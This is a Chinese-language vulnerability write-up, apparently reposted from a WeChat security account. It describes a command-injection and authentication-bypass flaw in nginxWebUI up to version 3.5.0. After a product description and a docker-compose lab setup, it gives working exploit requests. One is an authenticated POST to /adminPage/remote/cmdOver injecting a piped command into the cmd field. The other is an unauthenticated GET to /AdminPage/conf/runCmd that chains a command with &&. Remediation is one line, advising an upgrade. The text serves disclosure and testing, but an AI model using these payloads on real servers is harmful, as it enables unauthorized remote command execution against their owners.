本文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。
漏洞说明
Nginx Web UI 是一个基于 Nginx 的图形化管理界面，用于方便地管理和监控 Nginx 服务器。它提供了一个直观的用户界面，使得用户可以轻松地查看和修改 Nginx 配置文件、监控服务器状态、查看访问日志等。
Nginx Web UI 支持多种操作系统，包括 Windows、Linux 和 macOS。它可以通过下载二进制文件或通过编译源码的方式安装。在安装完成后，用户可以通过浏览器访问 Nginx Web UI 的默认地址(通常是 http://localhost:8080/)。
使用 Nginx Web UI,用户可以轻松地完成以下操作：
-
查看 Nginx 配置文件：用户可以直接在界面上编辑和保存 Nginx 配置文件，也可以查看当前生效的配置文件。
-
监控服务器状态：用户可以实时查看服务器的 CPU、内存、连接数等资源使用情况，以及负载均衡情况。
-
查看访问日志：用户可以查看 Nginx 服务器的访问日志，以便分析网站访问情况和性能问题。
-
添加、删除和修改站点：用户可以在界面上添加、删除和修改网站配置，以适应不同的业务需求。
-
执行命令：用户可以在界面上执行各种 Nginx 命令，如重启服务器、重载配置文件等。
总之，Nginx Web UI 是一个非常实用的工具，可以帮助用户更方便地管理和监控 Nginx 服务器，提高服务器的稳定性和性能。
nginxWebUI后台提供执行nginx相关命令的接口，由于未对用户的输入进行过滤，导致可在后台执行任意命令。并且该系统权限校验存在问题，导致存在权限绕过，在前台可直接调用后台接口，最终可以达到无条件远程命令执行的效果。
公众号：长亭安全应急响应中心在野0day捕获｜nginxWebUI runCmd远程命令执行漏洞
影响版本
nginxWebUI <= 3.5.0
NginxWebUI环境搭建：docker-compose.yml
version: "3.2"services::: cym1102/nginxwebui:3.5.0volumes:type: bindsource: "/home/nginxWebUI"target: "/home/nginxWebUI"environment:BOOT_OPTIONS: "--server.port=8080"privileged: truenetwork_mode: "host"
后台命令执行：
payload:
POST //adminPage/remote/cmdOver HTTP/1.1Host: ip:portContent-Length: 38Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://ip:portReferer: http://ip:port/adminPage/remoteAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: Hm_lvt_8acef669ea66f479854ecd328d1f348f=1687922667; SOLONID=e8cfe02c326c4859a34d77725ebccbda; SOLONID2=653874842db8f979af9774d85abae8c6; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1687927485Connection: closeremoteId=local&cmd=start|id&interval=1
前台命令执行：
payload:
/AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx
修复建议
升级至安全版本
本文章仅用于学习交流，不得用于非法用途
原文始发于微信公众号（才疏学浅的H6）：NginxWebUI 后台命令执行漏洞&nginxWebUI runCmd远程命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论